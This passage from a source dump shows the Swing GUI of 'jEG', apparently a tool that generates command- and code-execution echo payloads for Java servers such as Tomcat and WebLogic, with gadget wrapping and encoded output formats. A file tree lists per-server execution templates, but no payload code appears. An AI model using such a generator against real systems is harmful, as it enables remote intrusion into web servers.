<component id="82af3" class="javax.swing.JLabel" binding="headerNameLabel">
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="请求头键"/>
</properties>
</component>
<component id="e7770" class="javax.swing.JTextField" binding="reqHeaderNameText">
<constraints>
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="150" height="-1"/>
</grid>
</constraints>
<properties>
<text value=""/>
<toolTipText value="可选，默认随机生成"/>
</properties>
</component>
<component id="e461d" class="javax.swing.JLabel" binding="shellClsNameLabel">
<constraints>
<grid row="1" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="类名"/>
</properties>
</component>
<component id="f7207" class="javax.swing.JTextField" binding="classNameText">
<constraints>
<grid row="1" column="1" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="8" fill="1" indent="0" use-parent-layout="false">
<preferred-size width="150" height="-1"/>
</grid>
</constraints>
<properties>
<toolTipText value="可选，默认随机生成"/>
</properties>
</component>
</children>
</grid>
<component id="a889a" class="javax.swing.JSeparator" binding="TopSep">
<constraints>
<grid row="1" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
</component>
<component id="9582c" class="javax.swing.JSeparator" binding="MiddleSep">
<constraints>
<grid row="3" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="6" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
</component>
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="生成"/>
</properties>
</component>
</children>
</grid>
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
<margin top="0" left="0" bottom="0" right="0"/>
<constraints>
<grid row="6" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
</constraints>
<properties/>
<border type="none"/>
<children>
<hspacer id="28a9f">
<constraints>
<grid row="0" column="1" row-span="1" col-span="1" vsize-policy="1" hsize-policy="6" anchor="0" fill="1" indent="0" use-parent-layout="false"/>
</constraints>
</hspacer>
<component id="da658" class="javax.swing.JLabel" binding="authorLabel">
<constraints>
<grid row="0" column="0" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="请勿用于非法用途"/>
</properties>
</component>
<component id="c8061" class="javax.swing.JLabel" binding="noticeLabel">
<constraints>
<grid row="0" column="2" row-span="1" col-span="1" vsize-policy="0" hsize-policy="0" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
</constraints>
<properties>
<text value="by pen4uin"/>
</properties>
</component>
</children>
</grid>
</children>
</grid>
</form>
================================================
FILE: jeg-gui/src/main/java/jeg/gui/form/jEGForm.java
================================================
package jeg.gui.form;
import com.intellij.uiDesigner.core.GridConstraints;
import com.intellij.uiDesigner.core.GridLayoutManager;
import com.intellij.uiDesigner.core.Spacer;
import jeg.core.config.jEGConfig;
import jeg.core.config.jEGConstants;
import jeg.core.jEGenerator;
import jeg.gui.util.ComponentUtil;
import jeg.gui.util.TextPaneUtil;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.Locale;
public class jEGForm {
private static JFrame frame;
private JComboBox serverBox;
private JComboBox modelBox;
private JComboBox gadgetBox;
private JComboBox formatBox;
private JTextField reqParamText;
private JTextField reqHeaderNameText;
private JTextField outputPathText;
private JTextField classNameText;
private JButton generateButton;
private JPanel jEGPanel;
private JPanel TopPanel;
private JLabel serverLabel;
private JLabel formatLabel;
private JLabel modelLabel;
private JLabel gadgetLabel;
private JScrollPane textScrollPane;
private JPanel MiddlePanel;
private JLabel reqParamNameLabel;
private JLabel headerNameLabel;
private JLabel shellClsNameLabel;
private JSeparator TopSep;
private JSeparator MiddleSep;
private JLabel authorLabel;
private JLabel noticeLabel;
private JPanel BottomPanel;
private JPanel TipPanel;
private JTextPane textPane;
private jEGConfig config;
public static void start() {
Locale.setDefault(Locale.CHINA);
frame = new JFrame(jEGConstants.JEG_NAME + " " + jEGConstants.JEG_VERSION);
frame.setLocationRelativeTo(null);
frame.setResizable(true);
jEGForm jmgForm = new jEGForm();
JPanel contentPanel = jmgForm.jEGPanel;
contentPanel.setBorder(new EmptyBorder(8, 10, 8, 10));
frame.setContentPane(contentPanel);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.pack();
frame.setVisible(true);
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
int centerX = screenSize.width / 2;
int centerY = screenSize.height / 2;
Dimension jfSize = frame.getSize();
int halfwidth = jfSize.width / 2;
int halfHeight = jfSize.height / 2;
frame.setLocation(centerX - halfwidth, centerY - halfHeight);
}
private String serverType = jEGConstants.SERVER_TOMCAT;
private String modelType = jEGConstants.MODEL_CMD;
private String gadgetType = jEGConstants.GADGET_NONE;
private String formatType = jEGConstants.FORMAT_BASE64;
private String outputDir;
public jEGForm() {
config = new jEGConfig();
String[] serverBoxItems = {
jEGConstants.SERVER_TOMCAT,
jEGConstants.SERVER_SPRING_MVC,
jEGConstants.SERVER_RESIN,
jEGConstants.SERVER_WEBLOGIC,
jEGConstants.SERVER_WEBSPHERE,
jEGConstants.SERVER_JETTY,
jEGConstants.SERVER_UNDERTOW,
jEGConstants.SERVER_STRUTS2,
jEGConstants.SERVER_BES,
jEGConstants.SERVER_INFORSUITE,
jEGConstants.SERVER_TONGWEB,
jEGConstants.SERVER_UNKNOWN
};
String[] modelBoxItems = new String[]{
jEGConstants.MODEL_CMD,
jEGConstants.MODEL_CODE};
String[] gadgetBoxItems = new String[]{
jEGConstants.GADGET_NONE,
jEGConstants.GADGET_JDK_TRANSLET,
jEGConstants.GADGET_XALAN_TRANSLET};
String[] formatBoxItems = new String[]{
jEGConstants.FORMAT_BASE64,
jEGConstants.FORMAT_BCEL,
jEGConstants.FORMAT_BIGINTEGER,
jEGConstants.FORMAT_CLASS,
jEGConstants.FORMAT_JAR,
jEGConstants.FORMAT_JS
};
serverBox.setModel(new DefaultComboBoxModel(serverBoxItems));
modelBox.setModel(new DefaultComboBoxModel(modelBoxItems));
gadgetBox.setModel(new DefaultComboBoxModel(gadgetBoxItems));
formatBox.setModel(new DefaultComboBoxModel(formatBoxItems));
serverBox.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
serverType = (String) serverBox.getSelectedItem();
}
});
modelBox.addActionListener(e -> modelType = (String) modelBox.getSelectedItem());
gadgetBox.addActionListener(e -> gadgetType = (String) gadgetBox.getSelectedItem());
formatBox.addActionListener(e -> {
formatType = (String) formatBox.getSelectedItem();
assert formatType != null;
if (formatType.equalsIgnoreCase(jEGConstants.FORMAT_CLASS) || formatType.equalsIgnoreCase(jEGConstants.FORMAT_JAR)) {
JFileChooser fileChooser = new JFileChooser();
fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
int result = fileChooser.showSaveDialog(jEGPanel);
if (result == JFileChooser.APPROVE_OPTION) {
String selectedPath = fileChooser.getSelectedFile().getPath();
outputDir = selectedPath;
}
}
});
classNameText.getDocument().putProperty("owner", classNameText);
classNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(classNameText, config::setClassName));
reqHeaderNameText.getDocument().putProperty("owner", reqHeaderNameText);
reqHeaderNameText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqHeaderNameText, config::setReqHeaderName));
reqParamText.getDocument().putProperty("owner", reqParamText);
reqParamText.getDocument().addDocumentListener(ComponentUtil.createDocumentListener(reqParamText, config::setReqParamName));
generateButton.addActionListener(e -> {
TextPaneUtil.initTextPane(textPane);
TextPaneUtil.startPrintln(serverType + " " + modelType + " " + gadgetType + " " + formatType + "\n");
try {
jEGConfig config = new jEGConfig() {{
setServerType(serverType);
setModelType(modelType);
setGadgetType(gadgetType);
setFormatType(formatType);
setReqHeaderName(reqHeaderNameText.getText());
setReqParamName(reqParamText.getText());
setClassName(classNameText.getText());
setOutputDir(outputDir);
build();
}};
// 生成 payload
jEGenerator generator = new jEGenerator(config);
String result = generator.getPayload();
TextPaneUtil.successPrintln("基础信息:");
TextPaneUtil.rawPrintln("");
if (config.getModelType().equals(jEGConstants.MODEL_CMD)) {
TextPaneUtil.rawPrintln("请求头: " + config.getReqHeaderName());
} else {
TextPaneUtil.rawPrintln("请求参数: " + config.getReqParamName());
}
TextPaneUtil.rawPrintln("类名: " + config.getClassName());
TextPaneUtil.rawPrintln("载荷长度: " + config.getClassBytesLength());
TextPaneUtil.rawPrintln("");
TextPaneUtil.successPrintln("结果输出:");
TextPaneUtil.rawPrintln("");
TextPaneUtil.rawPrintln(result);
ComponentUtil.restoreScrollPosition(textScrollPane);
} catch (Throwable ex) {
TextPaneUtil.errorPrintln(ex.getMessage());
}
});
}
{
// GUI initializer generated by IntelliJ IDEA GUI Designer
// >>> IMPORTANT!! <<<
// DO NOT EDIT OR ADD ANY CODE HERE!
$$$setupUI$$$();
}
/**
* Method generated by IntelliJ IDEA GUI Designer
* >>> IMPORTANT!! <<<
* DO NOT edit this method OR call it in your code!
*
* @noinspection ALL
*/
private void $$$setupUI$$$() {
jEGPanel = new JPanel();
jEGPanel.setLayout(new GridLayoutManager(7, 1, new Insets(0, 0, 0, 0), -1, -1));
TopPanel = new JPanel();
TopPanel.setLayout(new GridLayoutManager(1, 8, new Insets(0, 0, 0, 0), -1, -1));
jEGPanel.add(TopPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
serverLabel = new JLabel();
serverLabel.setText("中间件/框架");
TopPanel.add(serverLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
formatLabel = new JLabel();
formatLabel.setText("输出格式");
TopPanel.add(formatLabel, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
modelLabel = new JLabel();
modelLabel.setText("回显模式");
TopPanel.add(modelLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
gadgetLabel = new JLabel();
gadgetLabel.setText("利用类型");
TopPanel.add(gadgetLabel, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
serverBox = new JComboBox();
final DefaultComboBoxModel defaultComboBoxModel1 = new DefaultComboBoxModel();
defaultComboBoxModel1.addElement("Tomcat");
defaultComboBoxModel1.addElement("SpringMVC");
defaultComboBoxModel1.addElement("Weblogic");
defaultComboBoxModel1.addElement("Websphere");
defaultComboBoxModel1.addElement("Resin");
defaultComboBoxModel1.addElement("Undertow");
defaultComboBoxModel1.addElement("Jetty");
defaultComboBoxModel1.addElement("SpringWebFlux");
serverBox.setModel(defaultComboBoxModel1);
TopPanel.add(serverBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));
modelBox = new JComboBox();
final DefaultComboBoxModel defaultComboBoxModel2 = new DefaultComboBoxModel();
defaultComboBoxModel2.addElement("Command");
defaultComboBoxModel2.addElement("Code");
modelBox.setModel(defaultComboBoxModel2);
TopPanel.add(modelBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));
gadgetBox = new JComboBox();
final DefaultComboBoxModel defaultComboBoxModel3 = new DefaultComboBoxModel();
defaultComboBoxModel3.addElement("NONE");
defaultComboBoxModel3.addElement("JDK_AbstractTranslet");
defaultComboBoxModel3.addElement("XALAN_AbstractTranslet");
gadgetBox.setModel(defaultComboBoxModel3);
TopPanel.add(gadgetBox, new GridConstraints(0, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
formatBox = new JComboBox();
final DefaultComboBoxModel defaultComboBoxModel4 = new DefaultComboBoxModel();
defaultComboBoxModel4.addElement("BASE64");
defaultComboBoxModel4.addElement("BIGINTEGER");
defaultComboBoxModel4.addElement("BCEL");
defaultComboBoxModel4.addElement("CLASS");
defaultComboBoxModel4.addElement("JAR");
defaultComboBoxModel4.addElement("JS");
formatBox.setModel(defaultComboBoxModel4);
TopPanel.add(formatBox, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
textScrollPane = new JScrollPane();
jEGPanel.add(textScrollPane, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 360), new Dimension(36, 207), null, 0, false));
textPane = new JTextPane();
textScrollPane.setViewportView(textPane);
MiddlePanel = new JPanel();
MiddlePanel.setLayout(new GridLayoutManager(2, 4, new Insets(0, 0, 0, 0), -1, -1));
jEGPanel.add(MiddlePanel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
reqParamNameLabel = new JLabel();
reqParamNameLabel.setText("请求参数");
MiddlePanel.add(reqParamNameLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
reqParamText = new JTextField();
reqParamText.setToolTipText("可选，默认随机生成");
MiddlePanel.add(reqParamText, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
headerNameLabel = new JLabel();
headerNameLabel.setText("请求头键");
MiddlePanel.add(headerNameLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
reqHeaderNameText = new JTextField();
reqHeaderNameText.setText("");
reqHeaderNameText.setToolTipText("可选，默认随机生成");
MiddlePanel.add(reqHeaderNameText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
shellClsNameLabel = new JLabel();
shellClsNameLabel.setText("类名");
MiddlePanel.add(shellClsNameLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
classNameText = new JTextField();
classNameText.setToolTipText("可选，默认随机生成");
MiddlePanel.add(classNameText, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
TopSep = new JSeparator();
jEGPanel.add(TopSep, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
MiddleSep = new JSeparator();
jEGPanel.add(MiddleSep, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
BottomPanel = new JPanel();
BottomPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
jEGPanel.add(BottomPanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
generateButton = new JButton();
generateButton.setText("生成");
BottomPanel.add(generateButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_EAST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
TipPanel = new JPanel();
TipPanel.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1));
jEGPanel.add(TipPanel, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
final Spacer spacer1 = new Spacer();
TipPanel.add(spacer1, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));
authorLabel = new JLabel();
authorLabel.setText("请勿用于非法用途");
TipPanel.add(authorLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
noticeLabel = new JLabel();
noticeLabel.setText("by pen4uin");
TipPanel.add(noticeLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
}
/**
* @noinspection ALL
*/
public JComponent $$$getRootComponent$$$() {
return jEGPanel;
}
}
================================================
FILE: jeg-gui/src/main/java/jeg/gui/jEGApp.java
================================================
package jeg.gui;
import com.formdev.flatlaf.FlatLightLaf;
import jeg.gui.form.jEGForm;
import javax.swing.*;
public class jEGApp {
public static void main(String[] args) {
FlatLightLaf.setup();
SwingUtilities.invokeLater(jEGApp::createAndShowGUI);
}
private static void createAndShowGUI() {
jEGForm.start();
}
}
================================================
FILE: jeg-gui/src/main/java/jeg/gui/util/ComponentUtil.java
================================================
package jeg.gui.util;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import javax.swing.text.JTextComponent;
import javax.swing.text.SimpleAttributeSet;
import javax.swing.text.StyleConstants;
import java.awt.*;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.util.function.Consumer;
public class ComponentUtil {
public static DocumentListener createDocumentListener(JTextComponent textField, Consumer<String> updateFunction) {
return new DocumentListener() {
@Override
public void insertUpdate(DocumentEvent e) {
updateText();
}
@Override
public void removeUpdate(DocumentEvent e) {
updateText();
}
@Override
public void changedUpdate(DocumentEvent e) {
// 文本改变时触发（对于普通文本字段可以忽略）
}
private void updateText() {
String text = textField.getText();
if (text.isEmpty()) {
updateFunction.accept(null);
} else {
updateFunction.accept(text);
}
}
};
}
/**
* 恢复滚动条位置
* @param scrollPane
*/
public static void restoreScrollPosition(JScrollPane scrollPane) {
try {
// windows 下窗口闪动
scrollPane.setDoubleBuffered(true);
int scrollValue = scrollPane.getVerticalScrollBar().getValue();
SwingUtilities.invokeLater(() -> {
scrollPane.getVerticalScrollBar().setValue(scrollValue);
});
} catch (Exception ignored) {
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) {
SimpleAttributeSet attributeSet = new SimpleAttributeSet();
StyleConstants.setBold(attributeSet, true);
StyleConstants.setItalic(attributeSet, false);
StyleConstants.setForeground(attributeSet, foregroundColor);
return attributeSet;
}
}
================================================
FILE: jeg-gui/src/main/java/jeg/gui/util/TextPaneUtil.java
================================================
package jeg.gui.util;
import javax.swing.*;
import javax.swing.text.*;
import java.awt.*;
/**
* 控制文本颜色,提升用户体验
*/
public class TextPaneUtil {
private static JTextPane textPane;
private static final Font font;
private static final SimpleAttributeSet ERROR_ATT;
private static final SimpleAttributeSet SUCCESS_ATT;
private static final SimpleAttributeSet RAW_ATT;
private static final SimpleAttributeSet START_ATT;
static {
font = new Font("Lucida Grande", Font.PLAIN, 13);
ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0));
SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55));
RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0));
START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray);
}
public static void rawPrintln(String str) {
try {
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void successPrintln(String str) {
try {
// 对 jexpr-encoder-utils 输出的处理
if (str.startsWith("[+]")) {
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT);
} else {
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static void errorPrintln(String str) {
try {
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void startPrintln(String str) {
try {
textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT);
} catch (Exception e) {
e.printStackTrace();
}
}
/////////////////////////////////////////////////////////////
// 以下内部类全都用于实现自动强制折行
// https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java
/////////////////////////////////////////////////////////////
public static class WarpEditorKit extends StyledEditorKit {
private static final long serialVersionUID = 1L;
private ViewFactory defaultFactory = new WarpColumnFactory();
@Override
public ViewFactory getViewFactory() {
return defaultFactory;
}
}
private static class WarpColumnFactory implements ViewFactory {
public View create(Element elem) {
String kind = elem.getName();
if (kind != null) {
if (kind.equals(AbstractDocument.ContentElementName)) {
return new WarpLabelView(elem);
} else if (kind.equals(AbstractDocument.ParagraphElementName)) {
return new ParagraphView(elem);
} else if (kind.equals(AbstractDocument.SectionElementName)) {
return new BoxView(elem, View.Y_AXIS);
} else if (kind.equals(StyleConstants.ComponentElementName)) {
return new ComponentView(elem);
} else if (kind.equals(StyleConstants.IconElementName)) {
return new IconView(elem);
}
}
// default to text display
return new LabelView(elem);
}
}
private static class WarpLabelView extends LabelView {
public WarpLabelView(Element elem) {
super(elem);
}
@Override
public float getMinimumSpan(int axis) {
switch (axis) {
case View.X_AXIS:
return 0;
case View.Y_AXIS:
return super.getMinimumSpan(axis);
default:
throw new IllegalArgumentException("Invalid axis: " + axis);
}
}
}
/////////////////////////////////////////////////////////////////////////////////
public static void initTextPane(JTextPane textPane) {
TextPaneUtil.textPane = textPane;
TextPaneUtil.textPane.setEditorKit(new WarpEditorKit());
TextPaneUtil.textPane.setFont(font);
}
}
================================================
FILE: jeg-gui/src/main/resources/messages_en.properties
================================================
format.text=Output Format
generate.text=Generate
headerName.text=Header Key
headerValue.text=Header Value
injectorClsName.text=Injector Class Name
key.text=Key
pass.text=Password
server.text=Server Type
shell.text=Shell Type
shellClsName.text=Shell Class Name
tool.text=Tool Type
uri.text=Request URI
gadget.text=Enable Gadget Wrapping
expr.text=Enable Expr Wrapping
================================================
FILE: jeg-gui/src/main/resources/messages_en.properties.bak
================================================
format.text=Output Format
generate.text=Generate
headerName.text=Request Header Key
headerValue.text=Request Header Value
injectorClsName.text=Injector Class Name
key.text=Key
pass.text=Password
server.text=Server Type
shell.text=Shell Type
shellClsName.text=Shell Class Name
tool.text=Tool Type
uri.text=Request URI
gadget.text=Enable Gadget Wrapping
expr.text=Enable Expr Wrapping
================================================
FILE: jeg-gui/src/main/resources/messages_zh.properties
================================================
format
gitextract_i6n13zud/ ├── LICENSE ├── README.md ├── jeg-common/ │ ├── pom.xml │ └── src/ │ └── main/ │ └── java/ │ └── jeg/ │ └── common/ │ ├── config/ │ │ ├── Config.java │ │ └── Constants.java │ ├── format/ │ │ ├── BASE64Formatter.java │ │ ├── BCELFormatter.java │ │ ├── BigIntegerFormatter.java │ │ ├── IFormatter.java │ │ ├── JARFormatter.java │ │ └── JavaScriptFormatter.java │ └── util/ │ ├── Base64Util.java │ ├── ClassUtil.java │ ├── FileUtil.java │ ├── GadgetUtil.java │ ├── HeaderUtil.java │ ├── JavassistUtil.java │ ├── RandomUtil.java │ └── ReflectionUtil.java ├── jeg-core/ │ ├── pom.xml │ └── src/ │ ├── main/ │ │ └── java/ │ │ └── jeg/ │ │ └── core/ │ │ ├── config/ │ │ │ ├── jEGConfig.java │ │ │ └── jEGConstants.java │ │ ├── jEGenerator.java │ │ ├── template/ │ │ │ ├── all/ │ │ │ │ ├── DFSCmdExecTpl.java │ │ │ │ └── DFSCodeExecTpl.java │ │ │ ├── bes/ │ │ │ │ ├── BESCmdExecTpl.java │ │ │ │ └── BESCodeExecTpl.java │ │ │ ├── inforsuite/ │ │ │ │ ├── InforSuiteCmdExecTpl.java │ │ │ │ └── InforSuiteCodeExecTpl.java │ │ │ ├── jetty/ │ │ │ │ ├── JettyCmdExecTpl.java │ │ │ │ └── JettyCodeExecTpl.java │ │ │ ├── resin/ │ │ │ │ ├── ResinCmdExecTpl.java │ │ │ │ └── ResinCodeExecTpl.java │ │ │ ├── springmvc/ │ │ │ │ ├── SpringMVCCmdExecTpl.java │ │ │ │ └── SpringMVCCodeExecTpl.java │ │ │ ├── struts2/ │ │ │ │ ├── Struts2CmdExecTpl.java │ │ │ │ └── Struts2CodeExecTpl.java │ │ │ ├── tomcat/ │ │ │ │ ├── TomcatCmdExecTpl.java │ │ │ │ └── TomcatCodeExecTpl.java │ │ │ ├── tongweb/ │ │ │ │ ├── TongWebCmdExecTpl.java │ │ │ │ └── TongWebCodeExecTpl.java │ │ │ ├── undertow/ │ │ │ │ ├── UndertowCmdExecTpl.java │ │ │ │ └── UndertowCodeExecTpl.java │ │ │ ├── weblogic/ │ │ │ │ ├── WebLogicCmdExecTpl.java │ │ │ │ └── WebLogicCodeExecTpl.java │ │ │ └── websphere/ │ │ │ ├── WebSphereCmdExecTpl.java │ │ │ └── WebSphereCodeExecTpl.java │ │ └── util/ │ │ └── TemplateUtil.java │ └── test/ │ └── java/ │ └── GeneratorTest.java ├── jeg-docs/ │ ├── 1.0.0/ │ │ └── README.md │ └── README_EN.md ├── jeg-gui/ │ ├── pom.xml │ └── src/ │ └── main/ │ ├── java/ │ │ └── jeg/ │ │ └── gui/ │ │ ├── form/ │ │ │ ├── jEGForm.form │ │ │ └── jEGForm.java │ │ ├── jEGApp.java │ │ └── util/ │ │ ├── ComponentUtil.java │ │ └── TextPaneUtil.java │ └── 